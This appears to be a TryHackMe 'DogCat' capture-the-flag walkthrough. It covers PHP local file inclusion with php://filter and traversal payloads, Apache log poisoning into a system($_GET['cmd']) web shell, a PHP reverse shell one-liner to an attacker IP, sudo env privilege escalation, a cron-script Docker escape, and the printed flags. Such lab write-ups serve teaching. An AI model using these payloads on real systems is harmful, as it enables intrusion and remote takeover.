TryHackMe - DogCat Writeup
## Nmap scan
nmap -sC -sV -oN nmap.out 10.10.174.171
Open ports: * 22 - SSH * 80- http
We have a look at the webpage where it lets us view some dot or cat pictures
Having a look at the url, we see that the page is running a php that shows the pictures stored in the dogs/ or cats/ folder which passes the value “dog” or “cat” to the variable “view”.
We try some basic LFI here to chech if we can view the /etc/passwd for example with the req url as:
http://10.10.174.171/?view=../../../../../../../etc/passwd
But it fails showing that only dogs or cats are allowed.
So it checks for a string dog or cat in the provided value of view. We try adding “dog” after a null byte %00 so that it passes the string check but is not evaluated when showing the file. We get the following:
We see that we do bypass the string check but it fails to open a the file.
Accidentally passing dogs to the view variable, we find that the script also adds the extension .php to the end of the file to be viewed passed in the view variable
Local File Inclusion
Googling a bit, we find a new php LFI technique found here.
I originally found it in payloadsallthethings which is a great source for pentesters.
We use the technique to get our base64 encoded php source of dog.php and decode it to view the source.
http://10.10.174.171/?view=php://filter/convert.base64-encode/resource=dog
Now we see that we can also check the source of the index.php file using directroy traversal in the same way
http://10.10.174.171/?view=php://filter/convert.base64-encode/resource=dog/../index
<!DOCCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a
="/?view=cat"><button id="cat">A cat</button></a><br>
href<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') ||
$_GET['view'], 'cat')) {
containsStr(echo 'Here you go!';
include $_GET['view'] . $ext;
else {
} echo 'Sorry, only dogs or cats are allowed.';
}
}?>
</div>
</body>
</html>
What’s interesting here is that it allows us to pass an “ext” variable that contains the file extension. On the variable being unset, it adds the default extension of .php
So we check now if we can read the /etc/passwd file with the following request
http://10.10.174.171/?view=dog/../../../../etc/passwd&ext=
And we see that we can!
Now we check if we can find the log file where it logs all our requests. After fiddling around for a bit, we find the logs in the /var/log/apache2/access.log finding out that the server is running apache2. And we see our last request there.
We see that the log also saves our user-agent header, in our case, Mozilla Firefox
So, we check if we can inject some php code into our user-agent header that will also get executed along with the main php file.
We can do this using burpsuite repeater to test again and again.
We change the header to hello to test and it works
Now we test some php commands. First we try the system(“
<?php system("ls")?>
But executing this once, we somehow break the machine and cannot access the log any more
Next we try a webshell like approach that will get a command passed in the cmd variable and execute it.
system($_GET['cmd']);
And we have command execution!
User www-data
We try some commands and see that we are www-data, we try getting a reverse shell using php. The php reverse shell:
php -r '$sock=fsockopen("10.8.6.75", 8888);exec("/bin/bash -i <&3 >&3 2>&3");'
We must url encode the revshell passed in the command. The url encoded request stands:
10.10.12.161/?view=dog/../../../../var/log/apache2/access.log&ext=&cmd=php -r '$sock=fsockopen("10.8.6.75",1337);exec("/bin/bash -i <&3 >&3 2>&3");'
We start a nc listener on port 1337 and get the reverse shell.
flag1
Right away, we find the flag.php in the current folder. We cat out the contents to get the flag.
flag1=“THM{Th1s_1s_N0t_4_Catdog_ab67edfa}”
##flag2
After digging around the files for a bit, we find our second flag in the /var/www directory.
flag2 = THM{LF1_t0_RC3_aec3fb}
## Privilege escalation - Root
Next, we try to escalate our privilege to root. We try some
enumeration and find that our user can execute /usr/bin/env as sudo
using the command sudo -l
We look for privesc using env in gtfobins
We find that a simple env /bin/sh
gives us the shell. So
we try that.
flag3
And, we have escalated to root successfully. lets look for the remaining flags.We find our 3rd flag in the /root directory.
flag3 = “THM{D1ff3r3nt_3nv1ronments_874112}”
The flag tells us something about a different environment.
Looking around for a bit, we find a .dockerenv file in the root directory, which tells us that we are running inside a docker container.
After some looking around, we find an interesting folder in the /opt/backups directory, having a look at the backup.sh file, we find the following
tar cf /root/container/backup/backup.tar /root/container
## Getting out of container
So the script basically backs up the /root/container to the backup.tar file we found. It might be running a cron job. We see that we have write permissions to the file and so, lets try writing a reverse shell into the backup.sh file.
We open up a netcat listener on port 8888 and after some time, get a shell back from root.
## flag4
This time, we see that we are on the machine iteself and not inside a docker container. Going into the root home, /root, we fine our flag4:
flag4 = “THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}”
New topics learnt: * Chech the logs * docker container, cronjob * New php lfi technique